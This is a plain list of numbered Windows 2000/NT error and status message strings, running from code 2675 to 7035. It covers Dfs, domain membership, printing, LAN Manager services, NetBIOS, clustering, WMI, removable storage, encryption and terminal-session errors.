2675 The operation is not supported on a server-based Dfs
2676 This volume is already supported by the specified server-share
2677 Can't remove the last server-share supporting this volume
2678 The operation is not supported for an Inter-Dfs volume
2679 The internal state of the Dfs Service has become inconsistent
2680 The Dfs Service has been installed on the specified server
2681 The Dfs data being reconciled is identical
2682 The Dfs root volume cannot be deleted - Uninstall Dfs if required
2683 A child or parent directory of the share is already in a Dfs
2690 Dfs internal error
2691 This machine is already joined to a domain.
2692 This machine is not currently joined to a domain.
2693 This machine is a domain controller and cannot be unjoined from a domain.
2694 The destination domain controller does not support creating machine accounts in OUs.
2695 The specified workgroup name is invalid
2696 The specified computer name is incompatible with the default language used on the domain controller.
2697 The specified computer account could not be found.
2999 This is the last error in NERR range.
3000 The specified print monitor is unknown.
3001 The specified printer driver is currently in use.
3002 The spool file was not found.
3003 A StartDocPrinter call was not issued.
3004 An AddJob call was not issued.
3005 The specified print processor has already been installed.
3006 The specified print monitor has already been installed.
3007 The specified print monitor does not have the required functions.
3008 The specified print monitor is currently in use.
3009 The requested operation is not allowed when there are jobs queued to the printer.
3010 The requested operation is successful. Changes will not be effective until the system is rebooted.
3011 The requested operation is successful. Changes will not be effective until the service is restarted.
3012 No printers were found.
3023 There is a problem with a configuration of user specified shut down command file. The UPS service started anyway.
3029 Local security could not be started because the user accounts database (NET.ACC) was missing or corrupted, and no usable backup database was present. THE SYSTEM IS NOT SECURE.
3037 @I *LOGON HOURS
3039 Replicator limit for files in a directory has been exceeded.
3040 Replicator limit for tree depth has been exceeded.
3046 Cannot log on. User is currently logged on and argument TRYUSER is set to NO.
3052 The required parameter was not provided on the command line or in the configuration file.
3054 A request for resource could not be satisfied.
3055 A problem exists with the system configuration.
3056 A system error has occurred.
3057 An internal consistency error has occurred.
3058 The configuration file or the command line has an ambiguous option.
3059 The configuration file or the command line has a duplicate parameter.
3060 The service did not respond to control and was stopped with the DosKillProc function.
3061 An error occurred when attempting to run the service program.
3062 The sub-service failed to start.
3064 There is a problem with the file.
3070 memory
3071 disk space
3072 thread
3073 process
3074 Security Failure.
3075 Bad or missing LAN Manager root directory.
3076 The network software is not installed.
3077 The server is not started.
3078 The server cannot access the user accounts database (NET.ACC).
3079 Incompatible files are installed in the LANMAN tree.
3080 The LANMAN\LOGS directory is invalid.
3081 The domain specified could not be used.
3082 The computer name is being used as a message alias on another computer.
3083 The announcement of the server name failed.
3084 The user accounts database is not configured correctly.
3085 The server is not running with user-level security.
3087 The workstation is not configured properly.
3088 View your error log for details.
3089 Unable to write to this file.
3090 ADDPAK file is corrupted. Delete LANMAN\NETPROG\ADDPAK.SER and reapply all ADDPAKs.
3091 The LM386 server cannot be started because CACHE.EXE is not running.
3092 There is no account for this computer in the security database.
3093 This computer is not a member of the group SERVERS.
3094 The group SERVERS is not present in the local security database.
3095 This Windows NT computer is configured as a member of a workgroup, not as a member of a domain. The Netlogon service does not need to run in this configuration.
3096 The Windows NT domain controller for this domain could not be located.
3098 The service failed to authenticate with the primary domain controller.
3099 There is a problem with the security database creation date or serial number.
3100 The operation failed because a network software error occurred.
3102 The service failed to obtain a long-term lock on the segment for network control blocks (NCBs). The error code is the data.
3103 The service failed to release the long-term lock on the segment for network control blocks (NCBs). The error code is the data.
3106 An unexpected network control block (NCB) was received. The NCB is the data.
3107 The network is not started.
3108 A DosDevIoctl or DosFsCtl to NETWKSTA.SYS failed. The data shown is in this format: DWORD approx CS:IP of call to ioctl or fsctl WORD error code WORD ioctl or fsctl number
3111 An unexpected NetBIOS error occurred. The error code is the data.
3112 An illegal server message block (SMB) was received. The SMB is the data.
3114 Some entries in the error log were lost because of a buffer overflow.
3120 Initialization parameters controlling resource usage other than net buffers are sized so that too much memory is needed.
3121 The server cannot increase the size of a memory segment.
3124 The server failed to start. Either all three chdev parameters must be zero or all three must be nonzero.
3129 The server cannot update the AT schedule file. The file is corrupted.
3130 The server encountered an error when calling NetIMakeLMFileName. The error code is the data.
3132 Longterm lock of the server buffers failed. Check swap disk's free space and restart the system to start the server.
3140 The service has stopped due to repeated consecutive occurrences of a network control block (NCB) error. The last bad NCB follows in raw data.
3141 The Message server has stopped due to a lock on the Message server shared data segment.
3151 Unable to display message POPUP due to system VIO call error. The error code is the data.
3152 An illegal server message block (SMB) was received. The SMB is the data.
3160 The workstation information segment is bigger than 64K. The size follows, in DWORD format:
3161 The workstation was unable to get the name-number of the computer.
3162 The workstation could not initialize the Async NetBIOS Thread. The error code is the data.
3163 The workstation could not open the initial shared segment. The error code is the data.
3164 The workstation host table is full.
3165 A bad mailslot server message block (SMB) was received. The SMB is the data.
3166 The workstation encountered an error while trying to start the user accounts database. The error code is the data.
3167 The workstation encountered an error while responding to an SSI revalidation request. The function code and the error codes are the data.
3174 The server could not read the AT schedule file.
3175 The server found an invalid AT schedule record.
3176 The server could not find an AT schedule file so it created one.
3185 Local security could not be started because the user accounts database (NET.ACC) was missing or corrupted, and no usable backup database was present. THE SYSTEM IS NOT SECURE.
3204 The server could not create a thread. The THREADS parameter in the CONFIG.SYS file should be increased.
3213 Replicator limit for files in a directory has been exceeded.
3214 Replicator limit for tree depth has been exceeded.
3215 Unrecognized message received in mailslot.
3217 Cannot log on. User is currently logged on and argument TRYUSER is set to NO.
3230 A power failure was detected at the server.
3231 The UPS service performed server shut down.
3232 The UPS service did not complete execution of the user specified shut down command file.
3233 The UPS driver could not be opened. The error code is the data.
3234 Power has been restored.
3235 There is a problem with a configuration of user specified shut down command file.
3256 There was an unrecoverable error in the dynamic- link library of the service.
3257 The system returned an unexpected error code. The error code is the data.
3258 The fault-tolerance error log file, LANROOT\LOGS\FT.LOG, is more than 64K.
3259 The fault-tolerance error-log file, LANROOT\LOGS\FT.LOG, had the update in progress bit set upon opening, which means that the system crashed while working on the error log.
3301 Remote IPC
3302 Remote Admin
3303 Logon server share
3304 A network error occurred.
3400 There is not enough memory to start the Workstation service.
3401 An error occurred when reading the NETWORKS entry in the LANMAN.INI file.
3404 There are too many NETWORKS entries in the LANMAN.INI file.
3408 The program cannot be used with this operating system.
3409 The redirector is already installed.
3411 There was an error installing NETWKSTA.SYS. Press ENTER to continue.
3412 Resolver linkage problem.
3419 You have open files or devices, and a forced disconnection may cause you to lose data.
3420 Default Share for Internal Use
3421 Messenger Service
3500 The command completed successfully.
3501 You used an invalid option.
3503 The command contains an invalid number of arguments.
3504 The command completed with one or more errors.
3505 You used an option with an invalid value.
3510 A command was used with conflicting switches.
3512 The software requires a newer version of the operating system.
3513 More data is available than can be returned by Windows 2000.
3515 This command can be used only on a Windows 2000 Domain Controller.
3516 This command cannot be used on a Windows 2000 Domain Controller.
3520 These Windows 2000 services are started:
3525 Stopping the Workstation service also stops the Server service.
3526 The workstation has open files.
3533 The service is starting or stopping. Please try again later.
3534 The service did not report an error.
3535 An error occurred controlling the device.
3660 These workstations have sessions on this server:
3661 These workstations have sessions with open files on this server:
3666 The message alias is forwarded.
3670 You have these remote connections:
3671 Continuing will cancel the connections.
3676 New connections will be remembered.
3677 New connections will not be remembered.
3678 An error occured while saving your profile. The state of your remembered connections has not changed.
3679 An error occured while reading your profile.
3682 No network services are started.
3683 There are no entries in the list.
3689 The Workstation service is already running. Windows 2000 will ignore command options for the workstation.
3694 The shared queue cannot be deleted while a print job is being spooled to the queue.
3710 An error occurred while opening the Help file.
3711 The Help file is empty.
3712 The Help file is corrupted.
3714 This operation is privileged on systems with earlier versions of the software.
3716 The device type is unknown.
3717 The log file has been corrupted.
3718 Program filenames must end with .EXE.
3719 A matching share could not be found so nothing was deleted.
3720 A bad value is in the units-per-week field of the user record.
3725 An error occurred when the share was deleted.
3726 The user name is invalid.
3727 The password is invalid.
3728 The passwords do not match.
3729 Your persistent connections were not all restored.
3730 This is not a valid computer name or domain name.
3732 Default permissions cannot be set for that resource.
3734 A valid password was not entered.
3735 A valid name was not entered.
3736 The resource named cannot be shared.
3737 The permissions string contains invalid permissions.
3738 You can only perform this operation on printers and communication devices.
3743 The server is not configured for remote administration.
3752 No users have sessions with this server.
3756 This is an invalid response.
3757 No valid response was provided.
3758 The destination list provided does not match the destination list of the printer queue.
3761 The time range specified ends before it starts.
3764 Time supplied is not exactly on the hour.
3765 12 and 24 hour time formats may not be mixed.
3767 An illegal date format has been supplied.
3768 An illegal day range has been supplied.
3769 An illegal time range has been supplied.
3770 Arguments to NET USER are invalid. Check the minimum password length and/or arguments supplied.
3771 The value for ENABLESCRIPT must be YES.
3773 An illegal country code has been supplied.
3774 The user was successfully created but could not be added to the USERS local group.
3775 The user context supplied is invalid.
3777 Sending files is no longer supported.
3778 You may not specify paths for ADMIN$ and IPC$ shares.
3784 Only disk shares can be marked as cacheable
3802 This schedule date is invalid.
3803 The LANMAN root directory is unavailable.
3804 The SCHED.LOG file could not be opened.
3805 The Server service has not been started.
3806 The AT job ID does not exist.
3807 The AT schedule file is corrupted.
3808 The delete failed due to a problem with the AT schedule file.
3809 The command line cannot exceed 259 characters.
3810 The AT schedule file could not be updated because the disk is full.
3812 The AT schedule file is invalid. Please delete the file and create a new one.
3813 The AT schedule file was deleted.
3814 The syntax of this command is: AT [id] [/DELETE] AT time [/EVERY:date | /NEXT:date] command The AT command schedules a program command to run at a later date and time on a server. It also displays the list of programs and commands scheduled to be run.
3815 The AT command has timed-out. Please try again later.
3816 The minimum password age for user accounts cannot be greater than the maximum password age.
3817 You have specified a value that is incompatible with servers with down-level software. Please specify a lower value.
3901 ****
3902 **** unexpected end of message ****
3905 Press ESC to exit
3906 ...
3912 Could not locate a time-server.
3915 The user's home directory could not be determined.
3916 The user's home directory has not been specified.
3920 There are no available drive letters left.
3936 This computer is not currently configured to use a specific SNTP server.
3953 The syntax is incorrect.
3960 You specified an invalid file number.
3961 You specified an invalid print job number.
3963 The user or group account specified cannot be found.
3965 The user was added but could not be enabled for File and Print Services for NetWare.
3966 File and Print Services for NetWare is not installed.
3967 Cannot set user properties for File and Print Services for NetWare.
3969 NetWare compatible logon
4000 WINS encountered an error while processing the command.
4001 The local WINS can not be deleted.
4002 The importation from the file failed.
4003 The backup failed. Was a full backup done before?
4004 The backup failed. Check the directory to which you are backing the database.
4005 The name does not exist in the WINS database.
4006 Replication with a nonconfigured partner is not allowed.
4100 The DHCP client has obtained an IP address that is already in use on the network. The local interface will be disabled until the DHCP client can obtain a new address.
4200 The GUID passed was not recognized as valid by a WMI data provider.
4201 The instance name passed was not recognized as valid by a WMI data provider.
4202 The data item ID passed was not recognized as valid by a WMI data provider.
4203 The WMI request could not be completed and should be retried.
4204 The WMI data provider could not be located.
4205 The WMI data provider references an instance set that has not been registered.
4206 The WMI data block or event notification has already been enabled.
4207 The WMI data block is no longer available.
4208 The WMI data service is not available.
4209 The WMI data provider failed to carry out the request.
4210 The WMI MOF information is not valid.
4211 The WMI registration information is not valid.
4212 The WMI data block or event notification has already been disabled.
4213 The WMI data item or data block is read only.
4214 The WMI data item or data block could not be changed.
4300 The media identifier does not represent a valid medium.
4301 The library identifier does not represent a valid library.
4302 The media pool identifier does not represent a valid media pool.
4303 The drive and medium are not compatible or exist in different libraries.
4304 The medium currently exists in an offline library and must be online to perform this operation.
4305 The operation cannot be performed on an offline library.
4306 The library, drive, or media pool is empty.
4307 The library, drive, or media pool must be empty to perform this operation.
4308 No media is currently available in this media pool or library.
4309 A resource required for this operation is disabled.
4310 The media identifier does not represent a valid cleaner.
4311 The drive cannot be cleaned or does not support cleaning.
4312 The object identifier does not represent a valid object.
4313 Unable to read from or write to the database.
4314 The database is full.
4315 The medium is not compatible with the device or media pool.
4316 The resource required for this operation does not exist.
4317 The operation identifier is not valid.
4318 The media is not mounted or ready for use.
4319 The device is not ready for use.
4320 The operator or administrator has refused the request.
4321 The drive identifier does not represent a valid drive.
4322 Library is full. No slot is available for use.
4323 The transport cannot access the medium.
4324 Unable to load the medium into the drive.
4325 Unable to retrieve the drive status.
4326 Unable to retrieve the slot status.
4327 Unable to retrieve status about the transport.
4328 Cannot use the transport because it is already in use.
4329 Unable to open or close the inject/eject port.
4330 Unable to eject the medium because it is in a drive.
4331 A cleaner slot is already reserved.
4332 A cleaner slot is not reserved.
4333 The cleaner cartridge has performed the maximum number of drive cleanings.
4334 Unexpected on-medium identifier.
4335 The last remaining item in this group or resource cannot be deleted.
4336 The message provided exceeds the maximum size allowed for this parameter.
4337 The volume contains system or paging files.
4338 The media type cannot be removed from this library since at least one drive in the library reports it can support this media type.
4339 This offline media cannot be mounted on this system since no enabled drives are present which can be used.
4340 (Y/N) [Y]
4341 (Y/N) [N]
4342 Error
4343 OK
4344 Y
4345 N
4346 Any
4347 A
4348 P
4349 (not found)
4350 The remote storage service was not able to recall the file.
4351 The remote storage service is not operational at this time.
4352 The remote storage service encountered a media error.
4354 Please type the password:
4358 Type a password for the user:
4359 Type the password for the shared resource:
4360 Type your password:
4361 Retype the password to confirm:
4362 Type the user's old password:
4363 Type the user's new password:
4364 Type your new password:
4365 Type the Replicator service password:
4368 Type your user name:
4372 Print job detail
4378 The following running services can be controlled:
4379 Statistics are available for the following running services:
4381 The syntax of this command is:
4382 The options of this command are:
4383 Please enter the name of the Primary Domain Controller:
4385 Sunday
4386 Monday
4387 Tuesday
4388 Wednesday
4389 Thursday
4390 The file or directory is not a reparse point.
4391 The reparse point attribute cannot be set because it conflicts with an existing attribute.
4392 The data present in the reparse point buffer is invalid.
4393 The tag present in the reparse point buffer is invalid.
4394 There is a mismatch between the tag specified in the request and the tag present in the reparse point.
4395 W
4396 Th
4397 F
4398 S
4399 Sa
4401 Group name
4402 Comment
4403 Members
4406 Alias name
4407 Comment
4408 Members
4411 User name
4412 Full Name
4413 Comment
4414 User's comment
4415 Parameters
4416 Country code
4417 Privilege level
4418 Operator privileges
4419 Account active
4420 Account expires
4421 Password last set
4422 Password expires
4423 Password changeable
4424 Workstations allowed
4425 Maximum disk space
4426 Unlimited
4427 Local Group Memberships
4428 Domain controller
4429 Logon script
4430 Last logon
4431 Global Group memberships
4432 Logon hours allowed
4433 All
4434 None
4436 Home directory
4437 Password required
4438 User may change password
4439 User profile
4440 Locked
4450 Computer name
4451 User name
4452 Software version
4453 Workstation active on
4454 Windows NT root directory
4455 Workstation domain
4456 Logon domain
4457 Other domain(s)
4458 COM Open Timeout (sec)
4459 COM Send Count (byte)
4460 COM Send Timeout (msec)
4461 DOS session print time-out (sec)
4462 Maximum error log size
4463 Maximum cache memory
4464 Number of network buffers
4465 Number of character buffers
4466 Size of network buffers
4467 Size of character buffers
4468 Full Computer name
4469 Workstation Domain DNS Name
4470 Windows 2000
4481 Server Name
4482 Server Comment
4483 Send administrative alerts to
4484 Software version
4485 Peer Server
4486 Windows NT
4487 Server Level
4488 Windows NT Server
4489 Server is active on
4492 Server hidden
4500 Single Instance Storage is not available on this volume.
4506 Maximum Logged On Users
4507 Maximum concurrent administrators
4508 Maximum resources shared
4509 Maximum connections to resources
4510 Maximum open files on server
4511 Maximum open files per session
4512 Maximum file locks
4520 Idle session time (min)
4526 Share-level
4527 User-level
4530 Unlimited Server
4570 Force user logoff how long after time expires?:
4571 Lock out account after how many bad passwords?:
4572 Minimum password age (days):
4573 Maximum password age (days):
4574 Minimum password length:
4575 Length of password history maintained:
4576 Computer role:
4577 Primary Domain controller for workstation domain:
4578 Lockout threshold:
4579 Lockout duration (minutes):
4580 Lockout observation window (minutes):
4600 Statistics since
4601 Sessions accepted
4602 Sessions timed-out
4603 Sessions errored-out
4604 Kilobytes sent
4605 Kilobytes received
4606 Mean response time (msec)
4607 Network errors
4608 Files accessed
4609 Print jobs spooled
4610 System errors
4611 Password violations
4612 Permission violations
4613 Communication devices accessed
4614 Sessions started
4615 Sessions reconnected
4616 Sessions starts failed
4617 Sessions disconnected
4618 Network I/O's performed
4619 Files and pipes accessed
4620 Times buffers exhausted
4621 Big buffers
4622 Request buffers
4626 Connections made
4627 Connections failed
4630 Bytes received
4631 Server Message Blocks (SMBs) received
4632 Bytes transmitted
4633 Server Message Blocks (SMBs) transmitted
4634 Read operations
4635 Write operations
4636 Raw reads denied
4637 Raw writes denied
4638 Network errors
4639 Connections made
4640 Reconnections made
4641 Server disconnects
4642 Sessions started
4643 Hung sessions
4644 Failed sessions
4645 Failed operations
4646 Use count
4647 Failed use count
4655 The message name forwarding was successfully canceled.
4661 The password was changed successfully.
4664 The message was successfully sent to all users of the network.
4666 The message was successfully sent to all users of this server.
4696 Windows NT Server
4697 Windows NT Workstation
4698 MS-DOS Enhanced Workstation
4700 Server Name Remark
4701 Share name Type Used as Comment
4702 (UNC)
4703 ...
4704 Domain
4706 Other available networks are:
4710 Disk
4711 Print
4712 Comm
4713 IPC
4714 Status Local Remote Network
4715 OK
4716 Dormant
4717 Paused
4718 Disconnected
4719 Error
4720 Connecting
4721 Reconnecting
4722 Status
4723 Local name
4724 Remote name
4725 Resource type
4726 # Opens
4727 # Connections
4728 Unavailable
4730 Share name Resource Remark
4731 Share name
4732 Resource
4733 Spooled
4734 Permission
4735 Maximum users
4736 No limit
4737 Users
4740 ID Path User name # Locks
4741 File ID
4742 Locks
4743 Permissions
4750 Computer User name Client Type Opens Idle time
4751 Computer
4752 Sess time
4753 Idle time
4754 Share name Type # Opens
4755 Client type
4756 Guest logon
4770 Offline cache enabled: manual restore
4771 Offline cache enabled: automatic restore
4772 Offline cache enabled: no sharing among users
4773 Offline cache disabled
4774 Automatic
4775 Manual
4800 Name
4801 Forwarded to
4802 Forwarded to you from
4803 Users of this server
4804 Net Send has been interrupted by a Ctrl+Break from the user.
4810 Name Job # Size Status
4811 jobs
4812 Print
4813 Name
4814 Job #
4815 Size
4816 Status
4817 Separator file
4818 Comment
4819 Priority
4820 Print after
4821 Print until
4822 Print processor
4823 Additional info
4824 Parameters
4825 Print Devices
4826 Printer Active
4827 Printer held
4828 Printer error
4829 Printer being deleted
4830 Printer status unknown
4841 Job #
4842 Submitting user
4843 Notify
4844 Job data type
4845 Job parameters
4846 Waiting
4847 Held in queue
4848 Spooling
4849 Paused
4850 Offline
4851 Error
4852 Out of paper
4853 Intervention required
4854 Printing
4855 on
4862 Driver
4930 User name Type Date
4931 Lockout
4932 Service
4933 Server
4934 Server started
4935 Server paused
4936 Server continued
4937 Server stopped
4938 Session
4939 Logon Guest
4940 Logon User
4941 Logon Administrator
4942 Logoff normal
4943 Logon
4944 Logoff error
4945 Logoff auto-disconnect
4946 Logoff administrator-disconnect
4947 Logoff forced by logon restrictions
4948 Service
4957 Account
4964 Account system settings were modified
4965 Logon restriction
4966 Limit exceeded: UNKNOWN
4967 Limit exceeded: Logon hours
4968 Limit exceeded: Account expired
4969 Limit exceeded: Workstation ID invalid
4970 Limit exceeded: Account disabled
4971 Limit exceeded: Account deleted
4972 Share
4978 Bad password
4979 Administrator privilege required
4980 Access
4984 Access denied
4985 Unknown
4986 Other
4987 Duration:
4988 Duration: Not available
4989 Duration: Less than one second
4990 (none)
4994 Access ended
4995 Log on to network
4996 Logon denied
4997 Program Message Time
4999 Account unlocked by administrator
5000 Log off network
5001 The cluster resource cannot be moved to another group because other resources are dependent on it.
5002 The cluster resource dependency cannot be found.
5003 The cluster resource cannot be made dependent on the specified resource because it is already dependent.
5004 The cluster resource is not online.
5005 A cluster node is not available for this operation.
5006 The cluster resource is not available.
5007 The cluster resource could not be found.
5008 The cluster is being shut down.
5009 A cluster node cannot be evicted from the cluster while it is online.
5010 The object already exists.
5011 The object is already in the list.
5012 The cluster group is not available for any new requests.
5013 The cluster group could not be found.
5014 The operation could not be completed because the cluster group is not online.
5015 The cluster node is not the owner of the resource.
5016 The cluster node is not the owner of the group.
5017 The cluster resource could not be created in the specified resource monitor.
5018 The cluster resource could not be brought online by the resource monitor.
5019 The operation could not be completed because the cluster resource is online.
5020 The cluster resource could not be deleted or brought offline because it is the quorum resource.
5021 The cluster could not make the specified resource a quorum resource because it is not capable of being a quorum resource.
5022 The cluster software is shutting down.
5023 The group or resource is not in the correct state to perform the requested operation.
5024 The properties were stored but not all changes will take effect until the next time the resource is brought online.
5025 The cluster could not make the specified resource a quorum resource because it does not belong to a shared storage class.
5026 The cluster resource could not be deleted since it is a core resource.
5027 The quorum resource failed to come online.
5028 The quorum log could not be created or mounted successfully.
5029 The cluster log is corrupt.
5030 The record could not be written to the cluster log since it exceeds the maximum size.
5031 The cluster log exceeds its maximum size.
5032 No checkpoint record was found in the cluster log.
5033 The minimum required disk space needed for logging is not available.
5034 The cluster node failed to take control of the quorum resource because the resource is owned by another active node.
5035 A cluster network is not available for this operation.
5036 A cluster node is not available for this operation.
5037 All cluster nodes must be running to perform this operation.
5038 A cluster resource failed.
5039 The cluster node is not valid.
5040 The cluster node already exists.
5041 A node is in the process of joining the cluster.
5042 The cluster node was not found.
5043 The cluster local node information was not found.
5044 The cluster network already exists.
5045 The cluster network was not found.
5046 The cluster network interface already exists.
5047 The cluster network interface was not found.
5048 The cluster request is not valid for this object.
5049 The cluster network provider is not valid.
5050 The cluster node is down.
5051 The cluster node is not reachable.
5052 The cluster node is not a member of the cluster.
5053 A cluster join operation is not in progress.
5054 The cluster network is not valid.
5055 Mar
5056 The cluster node is up.
5057 The cluster IP address is already in use.
5058 The cluster node is not paused.
5059 No cluster security context is available.
5060 The cluster network is not configured for internal cluster communication.
5061 The cluster node is already up.
5062 The cluster node is already down.
5063 The cluster network is already online.
5064 The cluster network is already offline.
5065 The cluster node is already a member of the cluster.
5066 The cluster network is the only one configured for internal cluster communication between two or more active cluster nodes. The internal communication capability cannot be removed from the network.
5067 One or more cluster resources depend on the network to provide service to clients. The client access capability cannot be removed from the network.
5068 This operation cannot be performed on the cluster resource as it the quorum resource. You may not bring the quorum resource offline or modify its possible owners list.
5069 The cluster quorum resource is not allowed to have any dependencies.
5070 The cluster node is paused.
5071 The cluster resource cannot be brought online. The owner node cannot run this resource.
5072 The cluster node is not ready to perform the requested operation.
5073 The cluster node is shutting down.
5074 The cluster join operation was aborted.
5075 The cluster join operation failed due to incompatible software versions between the joining node and its sponsor.
5076 This resource cannot be created because the cluster has reached the limit on the number of resources it can monitor.
5077 The system configuration changed during the cluster join or form operation. The join or form operation was aborted.
5078 The specified resource type was not found.
5079 The specified node does not support a resource of this type. This may be due to version inconsistencies or due to the absence of the resource DLL on this node.
5080 The specified resource name is not supported by this resource DLL. This may be due to a bad (or changed) name supplied to the resource DLL.
5081 No authentication package could be registered with the RPC server.
5082 You cannot bring the group online because the owner of the group is not in the preferred list for the group. To change the owner node for the group, move the group.
5083 The join operation failed because the cluster database sequence number has changed or is incompatible with the locker node. This may happen during a join operation if the cluster database was changing during the join.
5084 The resource monitor will not allow the fail operation to be performed while the resource is in its current state. This may happen if the resource is in a pending state.
5085 A non locker code got a request to reserve the lock for making global updates.
5086 The quorum disk could not be located by the cluster service.
5087 The backed up cluster database is possibly corrupt.
5088 A DFS root already exists in this cluster node.
5089 An attempt to modify a resource property failed because it conflicts with another existing property.
5090 Spain
5091 Denmark
5092 Sweden
5093 Norway
5094 Germany
5095 Australia
5096 Japan
5097 Korea
5098 China (PRC)
5099 Taiwan
5100 Asia
5101 Portugal
5102 Finland
5103 Arabic
5104 Hebrew
5153 The UPS service is about to perform final shut down.
5170 The Workstation must be started with the NET START command.
5175 Remote IPC
5176 Remote Admin
5177 Default share
5291 Never
5292 Never
5293 Never
5295 NET.HLP
5296 NET.HLP
5300 The network control block (NCB) request completed successfully. The NCB is the data.
5301 Illegal network control block (NCB) buffer length on SEND DATAGRAM, SEND BROADCAST, ADAPTER STATUS, or SESSION STATUS. The NCB is the data.
5302 The data descriptor array specified in the network control block (NCB) is invalid. The NCB is the data.
5303 The command specified in the network control block (NCB) is illegal. The NCB is the data.
5304 The message correlator specified in the network control block (NCB) is invalid. The NCB is the data.
5305 A network control block (NCB) command timed-out. The session may have terminated abnormally. The NCB is the data.
5306 An incomplete network control block (NCB) message was received. The NCB is the data.
5307 The buffer address specified in the network control block (NCB) is illegal. The NCB is the data.
5308 The session number specified in the network control block (NCB) is not active. The NCB is the data.
5309 No resource was available in the network adapter. The network control block (NCB) request was refused. The NCB is the data.
5310 The session specified in the network control block (NCB) was closed. The NCB is the data.
5311 The network control block (NCB) command was canceled. The NCB is the data.
5312 The message segment specified in the network control block (NCB) is illogical. The NCB is the data.
5313 The name already exists in the local adapter name table. The network control block (NCB) request was refused. The NCB is the data.
5314 The network adapter name table is full. The network control block (NCB) request was refused. The NCB is the data.
5315 The network name has active sessions and is now de-registered. The network control block (NCB) command completed. The NCB is the data.
5316 A previously issued Receive Lookahead command is active for this session. The network control block (NCB) command was rejected. The NCB is the data.
5317 The local session table is full. The network control block (NCB) request was refused. The NCB is the data.
5318 A network control block (NCB) session open was rejected. No LISTEN is outstanding on the remote computer. The NCB is the data.
5319 The name number specified in the network control block (NCB) is illegal. The NCB is the data.
5320 The call name specified in the network control block (NCB) cannot be found or did not answer. The NCB is the data.
5321 The name specified in the network control block (NCB) was not found. Cannot put '*' or 00h in the NCB name. The NCB is the data.
5322 The name specified in the network control block (NCB) is in use on a remote adapter. The NCB is the data.
5323 The name specified in the network control block (NCB) has been deleted. The NCB is the data.
5324 The session specified in the network control block (NCB) ended abnormally. The NCB is the data.
5325 The network protocol has detected two or more identical names on the network. The network control block (NCB) is the data.
5326 An unexpected protocol packet was received. There may be an incompatible remote device. The network control block (NCB) is the data.

5333 The NetBIOS interface is busy. The network control block (NCB) request was refused. The NCB is the data.
5334 There are too many network control block (NCB) commands outstanding. The NCB request was refused. The NCB is the data.
5335 The adapter number specified in the network control block (NCB) is illegal. The NCB is the data.
5336 The network control block (NCB) command completed while a cancel was occurring. The NCB is the data.
5337 The name specified in the network control block (NCB) is reserved. The NCB is the data.
5338 The network control block (NCB) command is not valid to cancel. The NCB is the data.
5351 There are multiple network control block (NCB) requests for the same session. The NCB request was refused. The NCB is the data.
5352 There has been a network adapter error. The only NetBIOS command that may be issued is an NCB RESET. The network control block (NCB) is the data.
5354 The maximum number of applications was exceeded. The network control block (NCB) request was refused. The NCB is the data.
5356 The requested resources are not available. The network control block (NCB) request was refused. The NCB is the data.
5364 A system error has occurred. The network control block (NCB) request was refused. The NCB is the data.
5365 A ROM checksum failure has occurred. The network control block (NCB) request was refused. The NCB is the data.
5366 A RAM test failure has occurred. The network control block (NCB) request was refused. The NCB is the data.
5367 A digital loopback failure has occurred. The network control block (NCB) request was refused. The NCB is the data.
5368 An analog loopback failure has occurred. The network control block (NCB) request was refused. The NCB is the data.
5369 An interface failure has occurred. The network control block (NCB) request was refused. The NCB is the data.
5370 An unrecognized network control block (NCB) return code was received. The NCB is the data.
5380 A network adapter malfunction has occurred. The network control block (NCB) request was refused. The NCB is the data.
5381 The network control block (NCB) command is still pending. The NCB is the data.
5509 Windows 2000 could not be started as configured. A previous working configuration was used instead.
5600 Could not share the User or Script path.
5601 The password for this computer is not found in the local security database.
5602 An internal error occurred while accessing the computer's local or network security database.
5705 The change log cache maintained by the Netlogon service for database changes is corrupted. The Netlogon service is resetting the change log.
5728 Could not load any transport.
5739 This domain has more global groups than can be replicated to a LanMan BDC. Either delete some of your global groups or remove the LanMan BDCs from the domain.
5742 Service failed to retrieve messages needed to boot remote boot clients.
5743 Service experienced a severe error and can no longer provide remote boot for 3Com 3Start remote boot clients.
5744 Service experienced a severe system error and will shut itself down.
5760 Service experienced error evaluating RPL configurations.
5761 Service experienced error creating RPL profiles for all configurations.
5762 Service experienced error accessing registry.
5763 Service experienced error replacing possibly outdated RPLDISK.SYS.
5764 Service experienced error adding security accounts or setting file permissions. These accounts are the RPLUSER local group and the user accounts for the individual RPL workstations.
5765 Service failed to back up its database.
5766 Service failed to initialize from its database. The database may be missing or corrupted. Service will attempt restoring the database from the backup.
5767 Service failed to restore its database from the backup. Service will not start.
5768 Service sucessfully restored its database from the backup.
5769 Service failed to initialize from its restored database. Service will not start.
5771 The Remoteboot database was in NT 3.5 / NT 3.51 format and NT is attempting to convert it to NT 4.0 format. The JETCONV converter will write to the Application event log when it is finished.
5773 The DNS server for this DC does not support dynamic DNS. Add the DNS records from the file 'SystemRoot\System32\Config\netlogon.dns' to the DNS server serving the domain referenced in that file.
5781 Dynamic registration or deregistration of one or more DNS records failed because no DNS servers are available.
6000 The specified file could not be encrypted.
6001 The specified file could not be decrypted.
6002 The specified file is encrypted and the user does not have the ability to decrypt it.
6003 There is no valid encryption recovery policy configured for this system.
6004 The required encryption driver is not loaded for this system.
6005 The file was encrypted with a different encryption driver than is currently loaded.
6006 There are no EFS keys defined for the user.
6007 The specified file is not encrypted.
6008 The specified file is not in the defined EFS export format.
6009 The specified file is read only.
6010 The directory has been disabled for encryption.
6011 The server is not trusted for remote encryption operation.
6118 The list of servers for this workgroup is not currently available
6200 The Task Scheduler service must be configured to run in the System account to function properly. Individual tasks may be configured to run in other accounts.
7001 The specified session name is invalid.
7002 The specified protocol driver is invalid.
7003 The specified protocol driver was not found in the system path.
7004 The specified terminal connection driver was not found in the system path.
7005 A registry key for event logging could not be created for this session.
7006 A service with the same name already exists on the system.
7007 A close operation is pending on the session.
7008 There are no free output buffers available.
7009 The MODEM.INF file was not found.
7010 The modem name was not found in MODEM.INF.
7011 The modem did not accept the command sent to it. Verify that the configured modem name matches the attached modem.
7012 The modem did not respond to the command sent to it. Verify that the modem is properly cabled and powered on.
7013 Carrier detect has failed or carrier has been dropped due to disconnect.
7014 Dial tone not detected within the required time. Verify that the phone cable is properly attached and functional.
7015 Busy signal detected at remote site on callback.
7016 Voice detected at remote site on callback.
7017 Transport driver error
7022 The specified session cannot be found.
7023 The specified session name is already in use.
7024 The requested operation cannot be completed because the terminal connection is currently busy processing a connect, disconnect, reset, or delete operation.
7025 An attempt has been made to connect to a session whose video mode is not supported by the current client.
7035 The application attempted to enable DOS graphics mode. DOS graphics mode is not supported.
